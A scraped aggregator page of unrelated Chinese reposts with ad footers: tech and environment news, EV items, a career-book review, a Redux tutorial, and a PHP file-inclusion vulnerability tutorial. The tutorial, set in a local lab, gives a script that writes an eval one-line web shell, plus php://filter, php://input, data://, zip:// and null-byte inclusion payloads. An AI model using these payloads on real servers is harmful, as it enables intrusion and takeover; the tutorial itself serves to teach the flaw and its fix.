騰訊正式開源圖計算框架Plato,十億級節點圖計算進入分鐘級時代

騰訊開源再次迎來重磅項目,14日,騰訊正式宣布開源高性能圖計算框架Plato,這是在短短一周之內,開源的第五個重大項目。

相對於目前全球範圍內其它的圖計算框架,Plato可滿足十億級節點的超大規模圖計算需求,將算法計算時間從天級縮短到分鐘級,性能全面領先領先於其它主流分佈式圖計算框架,並且打破了原本動輒需要數百台服務器的資源瓶頸,現在,最少只需要十台服務器即可完成計算。

騰訊Plato團隊負責人於東海表示:“Plato已經支持騰訊內部包括微信在內的眾多核心業務,尤其是為騰訊超大規模社交網絡圖數據的各類計算提供支撐,解決了現有其他計算框架無法在有限資源和有限時間內完成計算的難點。Plato不僅為騰訊創造了巨大的業務價值,開源后還將持續推動圖計算技術和行業的協同發展,加速創新。”

實際上,圖計算的“圖”並不是指普通的圖像和照片,而是用於表示對象之間關聯關係的一種抽象數據結構,圖計算就是以圖作為數據模型來表達問題並予以解決的過程。圖計算可以將不同來源、不同類型的數據融合到同一個圖裡進行分析,得到原本獨立分析難以發現的結果,因此成為社交網絡、推薦系統、網絡安全、文本檢索和生物醫療等領域至關重要的數據分析和挖掘工具。

Plato是騰訊內部圖計算TGraph團隊整合內部資源自主研發的一款高性能圖計算框架,取名Plato是為了致敬偉大的數學家柏拉圖,目前騰訊雲大數據團隊正在封裝Plato,即將對所有開發者開放使用。

據了解,Plato的計算性能方面極其強悍,比目前市場上最為領先的圖計算框架Spark GraphX還高出1-2個數量級,它將算法計算時間從天級縮短到分鐘級,性能提升數十倍,也標志著圖計算全面進入分鐘級時代;另外一個巨大優勢是,Plato在內存消耗方面遠小於主流的圖計算框架,比Spark GraphX減少1-2個數量級,僅需10台服務器左右的中小規模集群,即可完成超大規模圖計算,相比此前動輒需要數百台服務器的限制,資源壓力和計算成本都得到了極大降低。
目前,Plato主要提供兩大核心能力:騰訊數據量級下的離線圖計算和騰訊數據量級下的圖表示學習。同時Plato天然適配Kubernetes、YARN等資源調度平台,並提供支持主流文件系統的多種接口,能為開發者提供更友好的運行環境。
架構設計上,Plato框架的核心是自適應圖計算引擎,它能夠根據不同類型的圖算法,提供多種計算模式供開發者靈活選擇,包括自適應計算模式、共享內存計算模式和流水線計算模式等。另外,還設計了良好的接口支持接入新的計算通信模式。

Plato整體架構圖

在計算引擎之上,Plato為算法設計者或具體的業務提供多層次接口:從底層的API,到圖算法庫,再到為具體業務量身打造的“解決方案”——圖工具集。通過這些應用層的接口和工具,Plato還可以把離線計算結果與其他機器學習算法相結合,共同支撐頂層的不同業務。

值得一提的是,目前Plato的算法庫中的圖特徵、節點中心性指標、連通圖和社團識別等多種算法都已經開源,未來還將進一步開源更多的算法。

Plato高性能、可擴展、易插拔的特性在社交網絡、推薦系統、生物醫療等領域應用前景廣闊,例如定期對網頁進行影響力排序以提升用戶的搜索體驗、分析龐大的社交網絡結構以便精準地為用戶推薦服務、通過子圖匹配等方式了解蛋白質間的相互作用從而研製更有效的臨床醫藥等。

自去年930架構調整以來,開源協同成為騰訊技術發展的重要戰略之一,並帶動了重磅項目密集對外開源。就在上周的Techo開發者大會上,騰訊正式宣布TubeMQ、Tencent Kona JDK、TBase、TKEStack四大重點項目開源。隨着Plato的開源,騰訊在開源領域又添大動作。據悉,騰訊已經在Github上已經開源了89個項目,超過1000個貢獻者參与了開源貢獻,擁有超過26萬個Star數,在Github全球公司貢獻榜上居於前列。

Plato開源地址:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

南投搬家前需注意的眉眉角角,別等搬了再說!

智利森林大火延燒 120棟房屋付之一炬

摘錄自2019年12月25日中央社報導

智利官員表示,瓦巴萊索市(Valparaiso)森林大火迅速蔓延,至少燒毀120棟房屋,使當地居民大規模疏散。

瓦巴萊索市內所有消防員都被派至羅庫安特(Rocuant)和聖魯克(San Roque)地區,以撲滅當地火勢。此外,當局切斷該區9萬用戶的電力供應,作為預防措施。

英國廣播公司(BBC)與美國廣播公司新聞(ABC News)報導,瓦巴萊索市長夏普(Jorge Sharp)告訴24 Horas新聞頻道,火災起燃「有跡可循」。目前尚無人員死傷通報。

智利農業部長華克(Antonio Walker)隨後抵達災區。他承認,消防隊員難以控制火勢。

已有近120公頃的草原遭大火焚毀。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

南投搬家前需注意的眉眉角角,別等搬了再說!

氣候小尖兵 哥倫比亞10歲少年進國會發言

摘錄自2019年12月26日公共電視報導

哥倫比亞一位10歲少年法蘭西斯柯維拉進國會發言,要求立法人士重視氣候變遷議題,自己也帶頭上街疾呼。

西斯柯維拉領軍,帶著十多位孩童走上街頭,他們的訴求是,希望大家對環境議題投入更多關注、落實氣候變遷政策。儘管人數很少,但因為都是小孩子,特別引人注意。他說,「沒有B計畫,就如同我所說,這是宇宙中我們唯一擁有永續生命的星球。」

維拉認為教育很重要,地球環境相關議題應該要從教育著手;他提出看法、號召,並採取行動,跟著名瑞典環保運動者童貝里相似,而維拉也的確吸引到大人的關注。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

南投搬家前需注意的眉眉角角,別等搬了再說!

開賣!裕隆純電動車明年打進中國市場

因應大陸明年起針對汽車廠實施能耗總量管制(Corporate Average Fuel Consumption,CAFC)新措施,裕隆集團啟動新能源車登陸計畫。裕隆總經理姚振祥 27 日宣布,明年將在大陸投產首款納智捷純電動車 S5 EV+。   裕隆、中華車高層均示警,大陸 CAFC 的實施,至 2020 年要實現出廠新車平均每公升行駛 20 公里的超低油耗水準,大陸車廠將掀淘汰潮。法人看好 CAFC 上路,大陸低價車、低技術能量車廠將陸續遭淘汰空出市場,裕隆集團大陸事業將受惠,後市看多。   裕隆集團看好今年兩岸車市規模均將較去年小幅成長,台灣預估將達 42 萬輛的近 10 年新高,大陸可望成長至 2,513 萬輛新高。在車市看增,加上全球經濟成長審慎樂觀下,裕隆三寶今年兩岸均訂下新車銷量成長的目標。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

南投搬家前需注意的眉眉角角,別等搬了再說!

讀《阿里工程師的自我修養》我學到這幾點

 

 

一個月之前瀏覽博客園時發現了這本《阿里工程師的自我修養》,被裡面的其中一個叫做時間管理三八理論吸引到。花了兩個星期看完這本書。看完之後覺得有種豁然開朗的感覺,恰逢自己工作兩年,結合自己兩年以來的工作感受認真思索書中所講到的經驗,覺得有一些內容還是值得記錄下來的。於是趁這個機會總結一下書里我覺得精華的內容,對自己的兩年工作做一個回顧總結,同時按照書中所介紹的一些技巧升級自己的技能。

 

結構化思維

結構化思維 = 邏輯 + 套路

邏輯

四種組織思想的邏輯關係:

1. 因果順序: 大前提,小前提,結論。

2. 步驟順序:第一、第二、第三。首先、然後,再者,最後等。

3. 結構順序:前端,後端,數據。中國,美國,瑞士等。化整為零。

4. 程度順序:最重要,次重要,不重要。

實際上,所有的邏輯關係都在這四種順序之內,只要我們的思想和表達在這四種邏輯順序之內,就是有邏輯的,否則就會顯得沒有邏輯性。

套路

套路是指我們解決問題的方法論。使用合適的方法去解決遇到的問題。如
SWOT分析法
麥肯錫7步分析法
金字塔原理
5w2h分析法

結構化思考的方式:

 1. 建立中心目標
 2. 結構化分析
確定完中心之後,我們需要構建一個結構,使用結構化的思維對問題進行分解。分解的策略就是我們上文提到的四種邏輯順序,即演繹順序,時間順序,空間順序和程度順序。

做分解的時要滿足 MECE原則,即相互獨立,完全窮盡。

個人感悟:

想要提高自己的能力,需要懂得一些解決問題的套路。我一直以為套路就是一種經驗,面對難題時先如何,再如何,分幾步走,做到自己心中有數,這就是套路。一個初出茅廬的學生可以做事毫無頭緒,但作為一個工作兩年的老鳥,做事應該有一些最基本的套路,哪怕是一個最簡單的先搞清楚問題是什麼再動手,這也是一個好套路。做一個開發,需要做的是先思考再寫代碼。面對一個新的功能時思考設計的時間不應該低於20%,思考的時間越多bug越少。

 

如何在工作中快速成長,致工程師的10個技巧

時間管理三八理論

每個人每天公平的擁有24個小時,第一個8小時用於睡覺;第二個8小時用於工作;第三個8小時用於自由支配。
人與人的差距主要由第三個8小時決定的。第三個8小時用於消費,交易還是投資有着非常大的人生差別。

個人感悟:

記得有人說過體現一個人差距的是工作之後的時間。利用工作之餘時間繼續學習的人一定能夠成長的更快。目前所在的工作單位是事業單位的編製,朝九晚五的工作時間讓我覺得這不是程序員該有的工作節奏,所以更應該珍惜好業餘的時間多學習東西才能不遊走於技術的海平面以下。”力盡不知熱 但惜夏日長“,這是我的微信簽名,出至於白居易的《觀刈麥》,农民在炎熱的夏天割麥子精疲力竭但不覺酷熱,只是珍惜夏日天長。我又何嘗不是一個IT农民工呢?每天超長待機寫代碼寫到暈沉沉,還怕自己沒有學到東西。夏天真的好快就過去了,秋天轉眼就在眼前。沒有在夏天珍惜時間,秋天註定不會有收穫。

 

貴人相助

很多時候我們會覺得身邊缺少貴人,或者貴人離自己太遠。產生這種認知離不開4個方面:

1. 自己不自信,不相信自己能夠影響他人,導致缺乏主要溝通,長期溝通。

2. 自己心態問題,自己的心態若不夠积極正向,沒有貴人敢進入你的思維空間,因為價值不匹配,很難形成認知共識。

3. 職場原因,很多時候可能你的老闆就是你的貴人,但是因為職場,因為上下級,礙於面子,礙於共組,不敢多交流,多請教。

4. 貴人來了又走了,有貴人幫你改變,但是你自己不努力,抱着過去做事的心態和方法在職場上浪跡天涯,進步不明顯,否定了他作為貴人的價值和意義。

你求助時被人之所以願意幫你,是因為他已經看到了你的價值,這種價值幫助他確定了自己的價值,或者未來你可以幫助他。

 

個人感悟:

是否在生活中遇到過貴人呢?在這一點上我覺得我還是遇到過的,讀大學時遇到一個打球好又有耐心的球友,後來跟着他學習了兩年,球技有明顯的提高。現在想想別人為什麼願意教我打球呢?第一是因為我對打球有熱情有興趣,第二我按照他交給我的技巧打球水平有明顯的提升。後來他覺的自己有教球方面的經驗就去開了一個球館。所以說貴人幫助可能是一個互利的過程。個人覺得遇到貴人不是一件很難的事情,如果你不是一個羞澀的人。在某一方面上能夠幫助到你,對於大部分人來說還是願意幫你的,只要你態度謙虛,沒有什麼原則上問題。

 

如果我是一線主管

主管大部分時間都很忙,這就要求下屬在向上管理的時候尤其要注意高效,有質量的溝通。如果我是一線主管,我更希望團隊和我交流的方式是讓我做選擇題、判斷題,而不是問答題,思考題。
如果我是一線主管,我希望下屬這樣幫助我:

1. 主動承擔團隊面臨的挑戰,給出合理的解決方案

2. 及時向我反饋經過整理的信息和數據,甚至是結論,輔助決策

3. 主動關心同事,組織學習,幫助大家進步成長

 

團隊的人可能也有集中特徵:

1. 能力強,在某領域是專家

2. 能力一般,有潛力,但是非常有积極性

3. 能力一般,主動性一般

重要&緊急的事情只能交給能力強的人去做,意願上如果有問題也要說服對方去做,因人成事,可見能力強有多重要。

重要不緊急的事情就可以借事修人,如果做得好,這個人以後就有信心了,做的不好也有能力強的人給保底,不會造成業務問題。

技術想法也可以交給有积極性的人做,這必然會佔用一些時間,那麼這個人手頭上的無關痛癢的只好交給能力一般,主動性一般的人來做。

個人感悟:

不是每個人在工作中都是領導,但一定做過別的學長,師兄。在面對學弟學妹時是不是會覺得有些學弟辦事又快又好,而有些學弟什麼事情都要吩咐他才會去做,甚至告訴他方法也做不好。學長有時就是一個領導角色,學弟按要求將布置的任務完成,就覺得這個可以了,再有餘力可以主動承擔一些擅長的任務,就覺得用起來順手,下次有事找他,有好處也找他。我覺得最好的狀態是在工作之餘改善工作中一些複雜的操作繁瑣的步驟;給整個團隊帶來一些流程上的簡化,增加開發的效率;開發小工具能有效解決某些問題。工作之餘能夠在為團隊付出一些時間,領導應該能看的到。

 

 另外在本書中還看到了一些很優秀的PPT,不會做PPT的開發不是一個好銷售,當然這句話搞笑的很純粹,但是下面的這些PPT確實讓我覺得眼前一亮,顏色搭配,圖形搭配,樸素之中掩蓋不住的一種大氣之感。不尬吹了,直接上圖~

 

 

 

 

 

 

 

 

 

 

 

 

         

 

 

 

 

 

 

 

 

 

 

 

 

 

  

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

南投搬家前需注意的眉眉角角,別等搬了再說!

文件包含漏洞原理淺探

文件包含漏洞原理淺探

By : Mirror王宇陽

E-mail : mirrorwangyuyang@gmail.com

聯繫方式: 2821319009 (QQ)

個人主頁: https://www.cnblogs.com/wangyuyang1016/

文件包含

文件包含是指一個文件裡面包含另外一個文件;開發過程中,重複使用的函數會寫入單獨的文件中,需要使用該函數的時候直接從程序中調用該文件即可,這一個過程就是“文件包含”

由於文件包含的功能特性,導致客戶端可以調用一個惡意文件,進行動態調用

PHP文件包含

PHP提供了四個文件包含函數提供的功能強大且靈活多變,經常存在文件包含函數

危險包含函數(PHP)

include()

無法查到被包含的文件時產生錯誤”E_COMPLE_ERROR”停止運行

include_once()

和前者一樣,如果文件中的代碼已經包含了,則不再會包含

require()

無法查到被包含的文件是產生警告”E_WARNING”繼續運行

require_once()

和前者一樣,無法查到被包含的文件是產生警告”E_WARNING”繼續運行

文件包含實例

開發演示

<?php
    include("ArrayUtil.php"); //利用include函數包含
    $arr = array("sougou","google","yahoo","baidu","FackBook");
    PrintArr($arr);
?>
<?php
    function PrintArr($arr,$sp=' ==> ',$lin="<br/>"){
        foreach ($arr as $key => $value) {
            echo "$key $sp $value $lin";
        }
    }
?>

在index.php文件中使用include函數文件包含ArrayUtil.php文件,在index.php中可以使用ArrayUtil.php文件中的PrintArr()函數;在index.php第4行我們調用了PrintArr()函數。

使用瀏覽器訪問index.php

漏洞演示(本地執行)

<?php
    include("phpinfo.txt");
?>
<?php
    phpinfo();
?>

喏!一個txt文件被成功包含了;筆者測試了其它各種服務器可接受的文件格式,均實驗成功!由此筆者得到的論證是:include()函數包含的任何文件都會以PHP文件解析,但前提是文件的內容符合PHP代碼規範;若內容不符合PHP代碼規範則會在頁面暴露文件內容(這是重點)

漏洞演示(遠程執行)

PHP不單單可以在服務端(本地)執行文件包含,也可以遠程執行文件包含;

遠程的文件包含執行需要修改PHP.ini配置文件(php默認關閉遠程包含文件)

allow_url_include = on

由於我們不具備遠程條件,只好本地搭建環境將就一下哈!!!

D:\phpStudy\phpinfo.txt

<?php
    phpinfo();
?>

127.0.0.1/index.php

<?php
    include("D:\phpStudy\phpinfo.txt");
?>

換一個方法

這裏的URL參數值提交的只是一個遠程包含文件的URL地址;遠程文件包含和本地文件包含的解析方法一樣,只要符合PHP代碼規範就可以按照PHP代碼解析執行。

如果我們包含的文件不存在,則會發生Error,網站的路徑就會暴露!

PHP文件包含漏洞基本利用

讀取敏感文件

構造類似http://127.0.0.1/?url=.\phpinfo.txt

喏!我們看見了文本內容,為什麼呢?

因為include()函數會執行文件包含,不管是什麼格式的文件只要符合PHP代碼規範的內容就會按照PHP解析;而不符合PHP代碼規範的則會直接輸出文件內容。

綜合特性:利用該特性包含文件的方法,訪問本地的其它文件均會執行php解析或者回顯文本的內容;尤其是系統敏感文件,例如php.ini配置文件、my.ini配置文件等敏感信息,而文件的路徑則需要結合其它姿勢來獲得(例如上面利用error回顯的方式)

重要的一點:得具有文件的操作權限哦

遠程包含Shell

遠程包含文本的條件是 allow_url_fopen= on

創建shell.txt(功能:在服務端本地創建一句話木馬腳本)

<?php
    $key= ("<?php @eval(\$_POST['mirror']);?>");//$符號需要轉義要按字符存
    $file = fopen("shell.php","w");
    fwrite($file, $key);
    fclose($file);
?>

構造:http://127.0.0.1/?url=..\xx\shell.txt

遠程包含文本執行成功后,服務端本地會創建一個”shell.php”一句話木馬執行文件

shell.php創建后,使用“菜刀”連接一句話:

喏!包含執行文件創建本地一個shell.php一句話木馬,然後菜刀連木馬!一梭子搞定!

文件包含配合上傳

利用web應用的上傳功能,上傳一張偽木馬圖片,然後利用文件包含執行已上傳的圖片,然後偽木馬圖片的功能就是被包含執行后在服務端本地創建一個木馬執行php文件

PHP封裝協議利用

PHP內置很多的,封裝協議的功能和文件函數(fopen(),copy(),file_exists(),filesize())提供的功能相似

allow_url_fopen:on 默認開啟 該選項為on便是激活了 URL 形式的 fopen 封裝協議使得可以訪問 URL 對象文件等。

allow_url_include:off 默認關閉,該選項為on便是允許 包含URL 對象文件等

考慮安全都是全部關閉

【引用官方文檔】

  • — 訪問本地文件系統
  • — 訪問 HTTP(s) 網址
  • — 訪問 FTP(s) URLs
  • — 數據(RFC 2397)
  • — 查找匹配的文件路徑模式
  • — PHP 歸檔
  • — Secure Shell 2
  • — RAR
  • — 音頻流
  • — 處理交互式的流
file://協議:

訪問本地文件系統

file://[本地文件的絕對路徑和文件名]

訪問各個IO流

需要開啟 allow_url_include: on

  • php://stdin:直接訪問PHP進程相應的輸入或輸出流(只讀)

  • php://stdout:直接訪問PHP進程相應的輸入或輸出流(只寫)

  • php://stderr:直接訪問PHP進程相應的輸入或輸出流(只寫)

  • php://filter:進行任意文件讀取的利用

  • php://input:訪問請求的原始數據的只讀流,將post請求中的數據作為php解析

  • php://output:只寫的數據流,允許print和echo方式寫入到輸出緩存中

  • php://fd: 允許直接訪問指定的文件描述符

    更多詳細可以參考官方php://協議文檔

zip://協議:

(zip:// , bzip2:// , zlib:// )屬於壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定後綴名

zip:// [壓縮文件絕對路徑]#[壓縮文件內的子文件名]

注意 井字符號 ’ # ‘ 在url中需要轉為 %23

allow_utl_include= On

data://text/plain;base64,[string_base64加密后]

查詢匹配的文件路徑模式

glob://[url]
<?php
// 循環 ext/spl/examples/ 目錄里所有 *.php 文件
// 並打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>

處理交互式數據流(默認未開啟,需要安裝PECL—Expect擴展)

expect://command

參見文章

讀取PHP文件

利用file://讀取文件內容

file://[本地文件的絕對路徑和文件名]

利用php://filter讀取php文件內容

http://127.0.0.1/?url=php://filter/read=convert.base64-encode/resource=shelll.php

這裏的結果是經過Base64加密的

寫入PHP文件
利用php://input:

使用php://input可以執行PHP語句,但是受限於allow_utl_include= On

url text:

http://127.0.0.1/index.php/?url=php://input

Post data:

<?php phpinfo();?>

喏!利用“php://input”執行php代碼”post data數據內容“,這裏只是回顯phpinfo(),如果我們利用php://input執行服務端本地創建php一句話木馬文件,後果可想而知

利用data://:

受限於allow_utl_include= Onphp.ini配置

?file=[data://text/plain;base64,[base64編碼加密的payload)]

注意沒有php閉合標籤

利用zip://:
?url=zip://C:\Users\Mirror\Desktop/zip.zip%23shell.php

總結

上面這張圖是筆者從FREEBUF漏斗社區的文章中copy來的,算是一個不錯的總結^_^

截斷包含

magic_quotes_gpc = off函數為Off狀態才可以使用,因為在On狀態下%00會被轉義導致無法截斷;https://www.cnblogs.com/timelesszhuang/p/3726736.html

PHP6/7關閉了magic_quotes_gpc函數:

文件包含的漏洞修復,尤其是include()相關文件包含函數,只要限制後綴名就好了?

<?php
    if(iset($_GET['url'])){
            include $_GET['url'].".php";
    } else{
        include 'home.php';
    }
?>

上述程序就是固定限制後綴名,用戶只需要指明文件名就可以,不需要用戶提交後綴名

現在我們利用之前的包含手段,包含”shell.php”文件

http://127.0.0.1/index.php/?url=shell.php

由於程序固定了文件後綴格式,於是在後台會構成

shell.php.php

include()無法查找到“shell.php.php”,故此導致報錯

採用字節截斷

http://127.0.0.1/index.php/?url=shell.php%00

PHP5.2+的版本漸漸的都修復了字節截斷,所以很少有利用了

筆者不做過多的細節說明^_^

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

南投搬家前需注意的眉眉角角,別等搬了再說!

川普政府新規 傳新建設環評無須再考量氣候衝擊

摘錄自2020年1月7日中央社華盛頓報導

消息人士表示,根據美國川普政府將於8日提出的新規定,往後美國公路與油管等大型計畫的環評,無須再考量「經年累月的」氣候衝擊。

這項政策大轉變,將要求聯邦機構落實「國家環境政策法」(NEPA)的作法有所改變。國家環境政策法旨在確保政府檢討造橋鋪路、砍樹伐林、批准「基石XL」(Keystone XL)跨州油管等計畫,或對計畫做出決策時,能確實保護環境。

這將是40年來,負責協調美國聯邦機構與其他白宮辦公室環保努力的白宮環境品質委員會(White House Council on Environmental Quality)首次做出規定上的變更。

白宮環境品質委員會負責監督近80個政府機關是否遵守國家環境政策法規範。

消息人士還說,預料白宮環境品質委員會將對會啟動嚴格環評的計畫限制規模、增加可被排除在國家環境政策法環評之外的計畫類別,並允許公司或計畫開發者自行進行環評。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

南投搬家前需注意的眉眉角角,別等搬了再說!

台廠昶洧研發系列電動車 Thunder Power 將於 2017 年歐洲上市

  昶洧自有品牌 Thunder Power 電動車系列,於「2015 法蘭克福國際車展(9 月 17 日至 27 日)」中進行首秀。昶洧表示,Thunder Power 電動車系列量產車預計將於 2017 年在歐洲上市,2018 年在中國大陸上市,之後更將進一步拓展美國市場。   Thunder Power 主要生產廠將設在大陸浙江省紹興市,而歐洲的生產基地,待確定後也將公佈。公司指出,目前所有研發活動都將由昶洧設在米蘭附近的歐洲總部開展並管理,而設在中國大陸和美國的研發機構將負責提供額外支持。   昶洧指出,Thunder Power 作為一款後驅電動轎車,擁有令人興奮的駕控性能,和令同儕豔羨的強大續航能力,該系列車型輸出功率有 230 千瓦或 320 千瓦 2 款動力選擇,充滿電後可行駛超過 650 公里,經過 30 分鐘短暫充電,可再行駛 300 多公里,強大的續航能力足以傲視同級;320 千瓦功率車型在 5 秒內便可完成 0-100 公里加速,最高時速可達 250 公里。   昶洧董事長沈瑋表示,公司歷經 5 年多研發,於本屆法蘭克福國際車展上展出 Thunder Power 豪華電動車系列,選擇在此舉行全球首秀,希望吸引全球媒體、投資人和消費者的目光;相信電動車成為主流並取代內燃發動機汽車,不再是不可能的事,而只是時間問題。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

南投搬家前需注意的眉眉角角,別等搬了再說!

如何使用24行JavaScript代碼實現Redux

作者:Yazeed Bzadough
譯者:小維FE
原文:freecodecamp

為了保證文章的可讀性,本文採用意譯而非直譯。

90%的規約,10%的庫。
Redux是迄今為止創建的最重要的JavaScript庫之一,靈感來源於以前的藝術比如和,Redux通過引入一個包含三個簡單要點的可伸縮體繫結構,使得JavaScript函數式編程成為可能。如果你是初次接觸Redux,可以考慮先閱讀。

1. Redux大多是規約

考慮如下這個使用了Redux架構的簡單的計數器應用。如果你想跳過的話可以直接查看。

1.1 State存儲在一棵樹中

該應用程序的狀態看起來如下:

const initialState = { count: 0 };

1.2 Action聲明狀態更改

根據Redux規約,我們不直接修改(突變)狀態。

// 在Redux應用中不要做如下操作
state.count = 1;

相反,我們創建在應用中用戶可能用到的所有行為。

const actions = {
  increment: { type: 'INCREMENT' },
  decrement: { type: 'DECREMENT' }
};

1.3 Reducer解釋行為並更新狀態

在最後一個架構部分我們叫做Reduer,其作為一個純函數,它基於以前的狀態和行為返回狀態的新副本。

  • 如果increment被觸發,則增加state.count
  • 如果decrement被觸發,則減少state.count
const countReducer = (state = initialState, action) => {
  switch (action.type) {
    case actions.increment.type:
      return {
        count: state.count + 1
      };

    case actions.decrement.type:
      return {
        count: state.count - 1
      };

    default:
      return state;
  }
};

1.4 目前為止還沒有Redux

你注意到了嗎?到目前為止我們甚至還沒有接觸到Redux庫,我們僅僅只是創建了一些對象和函數,這就是為什麼我稱其為”大多是規約”,90%的Redux應用其實並不需要Redux。

2. 開始實現Redux

要使用這種架構,我們必須要將它放入到一個store當中,我們將僅僅實現一個函數:createStore。使用方式如下:

import { createStore } from 'redux'

const store = createStore(countReducer);

store.subscribe(() => {
  console.log(store.getState());
});

store.dispatch(actions.increment);
// logs { count: 1 }

store.dispatch(actions.increment);
// logs { count: 2 }

store.dispatch(actions.decrement);
// logs { count: 1 }

下面這是我們的初始化樣板代碼,我們需要一個監聽器列表listeners和reducer提供的初始化狀態。

const createStore = (yourReducer) => {
    let listeners = [];
    let currentState = yourReducer(undefined, {});
}

無論何時某人訂閱了我們的store,那麼他將會被添加到listeners數組中。這是非常重要的,因為每次當某人在派發(dispatch)一個動作(action)的時候,所有的listeners都需要在此次事件循環中被通知到。調用yourReducer函數並傳入一個undefined和一個空對象將會返回一個initialState,這個值也就是我們在調用store.getState()時的返回值。既然說到這裏了,我們就來創建這個方法。

2.1 store.getState()

這個函數用於從store中返回最新的狀態,當用戶每次點擊一個按鈕的時候我們都需要最新的狀態來更新我們的視圖。

const createStore = (yourReducer) => {
    let listeners = [];
    let currentState = yourReducer(undefined, {});
    
    return {
        getState: () => currentState
    };
}

2.2 store.dispatch()

這個函數使用一個action作為其入參,並且將這個actioncurrentState反饋給yourReducer來獲取一個新的狀態,並且dispatch方法還會通知到每一個訂閱了當前store的監聽者。

const createStore = (yourReducer) => {
  let listeners = [];
  let currentState = yourReducer(undefined, {});

  return {
    getState: () => currentState,
    dispatch: (action) => {
      currentState = yourReducer(currentState, action);

      listeners.forEach((listener) => {
        listener();
      });
    }
  };
};

2.3 store.subscribe(listener)

這個方法使得你在當store接收到一個action的時候能夠被通知到,可以在這裏調用store.getState()來獲取最新的狀態並更新UI。

const createStore = (yourReducer) => {
  let listeners = [];
  let currentState = yourReducer(undefined, {});

  return {
    getState: () => currentState,
    dispatch: (action) => {
      currentState = yourReducer(currentState, action);

      listeners.forEach((listener) => {
        listener();
      });
    },
    subscribe: (newListener) => {
      listeners.push(newListener);

      const unsubscribe = () => {
        listeners = listeners.filter((l) => l !== newListener);
      };

      return unsubscribe;
    }
  };
};

同時subscribe函數返回了另一個函數unsubscribe,這個函數允許你當不再對store的更新感興趣的時候能夠取消訂閱。

3. 整理代碼

現在我們添加按鈕的邏輯,來看看最後的源代碼:

// 簡化版createStore函數
const createStore = (yourReducer) => {
  let listeners = [];
  let currentState = yourReducer(undefined, {});

  return {
    getState: () => currentState,
    dispatch: (action) => {
      currentState = yourReducer(currentState, action);

      listeners.forEach((listener) => {
        listener();
      });
    },
    subscribe: (newListener) => {
      listeners.push(newListener);

      const unsubscribe = () => {
        listeners = listeners.filter((l) => l !== newListener);
      };

      return unsubscribe;
    }
  };
};

// Redux的架構組成部分
const initialState = { count: 0 };

const actions = {
  increment: { type: 'INCREMENT' },
  decrement: { type: 'DECREMENT' }
};

const countReducer = (state = initialState, action) => {
  switch (action.type) {
    case actions.increment.type:
      return {
        count: state.count + 1
      };

    case actions.decrement.type:
      return {
        count: state.count - 1
      };

    default:
      return state;
  }
};

const store = createStore(countReducer);

// DOM元素
const incrementButton = document.querySelector('.increment');
const decrementButton = document.querySelector('.decrement');

// 給按鈕添加點擊事件
incrementButton.addEventListener('click', () => {
  store.dispatch(actions.increment);
});

decrementButton.addEventListener('click', () => {
  store.dispatch(actions.decrement);
});

// 初始化UI視圖
const counterDisplay = document.querySelector('h1');
counterDisplay.innerHTML = parseInt(initialState.count);

// 派發動作的時候跟新UI
store.subscribe(() => {
  const state = store.getState();

  counterDisplay.innerHTML = parseInt(state.count);
});

我們再次看看最後的視圖效果:

原文:

4. 交流

本篇主要簡單了解下Redux的三個架構組成部分以及如何實現一個簡化版的Redux,對Redux能有進一步的了解,希望能和大家相互討論技術,一起交流學習。

文章已同步更新至,若覺文章尚可,歡迎前往star!

你的一個點贊,值得讓我付出更多的努力!

逆境中成長,只有不斷地學習,才能成為更好的自己,與君共勉!

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

